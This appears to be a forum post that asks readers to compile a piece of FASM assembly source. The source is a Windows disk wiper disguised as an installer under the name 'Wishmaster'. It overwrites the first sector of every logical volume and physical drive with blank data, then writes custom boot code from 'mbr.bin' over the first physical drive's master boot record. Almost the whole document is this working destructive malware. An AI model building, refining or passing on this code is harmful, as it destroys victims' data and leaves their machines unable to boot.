конпелируй, зой
format PE GUI 4.0
entry Start
include '%fasminc%\win32axp.inc'
``
section '.text' code readable executable
Start:
xor ebx, ebx
NextLogical:
invoke CreateFile, LogicalDrive, GENERIC_WRITE, FILE_SHARE_READ + \
FILE_SHARE_WRITE, ebx, OPEN_EXISTING, ebx, ebx
test eax, eax
jns @F
cmp [LogicalDrive + 4], 'C'
je AdminReq
jmp Next
@@:
mov [H1], eax
invoke WriteFile, eax, Buf, 512, tmp, ebx
invoke CloseHandle, [H1]
inc [LogicalDrive + 4]
jmp NextLogical
Next:
invoke CreateFile, PhysicalDrive, GENERIC_WRITE, FILE_SHARE_READ + \
FILE_SHARE_WRITE, ebx, OPEN_EXISTING, ebx, ebx
test eax, eax
js Final
mov [H1], eax
invoke WriteFile, eax, Buf, 512, tmp, ebx
invoke CloseHandle, [H1]
inc [PhysicalDrive + 17]
jmp Next
Final:
mov [PhysicalDrive + 17], '0'
invoke CreateFile, PhysicalDrive, GENERIC_WRITE, FILE_SHARE_READ + \
FILE_SHARE_WRITE, ebx, OPEN_EXISTING, ebx, ebx
mov [H1], eax
invoke WriteFile, eax, bootcode, 512*17, tmp, ebx
invoke CloseHandle, [H1]
jmp ExitPrg
AdminReq:
invoke MessageBox, ebx, _AdminRequired, ebx, ebx
invoke ExitProcess, ebx
ExitPrg:
ud2
file 'd:\tc2':50000,90000
``
section '.bss' data readable writable
Buf rb 512
H1 dd ?
tmp dd ?
``
section '.data' data readable writable
LogicalDrive db '\\.\C:', 0
PhysicalDrive db '\\.\PhysicalDrive1', 0
_AdminRequired db 'Äëÿ óñòàíîâêè ïðîãðàììû òðåáóþòñÿ ïðàâà àäìèíèñòðàòîðà.', 0
bootcode file 'mbr.bin'
``
section '.idata' import data readable; writable
library kernel32, 'KERNEL32.DLL',\
user32, 'USER32.DLL'
include '%fasminc%\api\kernel32.inc'
include '%fasminc%\api\user32.inc'
``
section '.rsrc' resource data readable discardable
directory RT_ICON, icons,\
RT_GROUP_ICON, group_icons,\
RT_VERSION, versions
resource icons, 1, LANG_NEUTRAL, icon_data
resource group_icons, 1, LANG_NEUTRAL, main_icon
icon main_icon, icon_data, 'main.ico'
resource versions, 1, LANG_NEUTRAL, version
versioninfo version, VOS__WINDOWS32, VFT_APP, VFT2_UNKNOWN,\
LANG_RUSSIAN+SUBLANG_DEFAULT, 0,\
'FileDescription', 'Wishmaster',\
'LegalCopyright', '(c) 2009 Anonymous',\
'FileVersion', '3.7.8151',\
'ProductVersion', '3.7',\
'OriginalFilename', 'wm3rc.exe'
``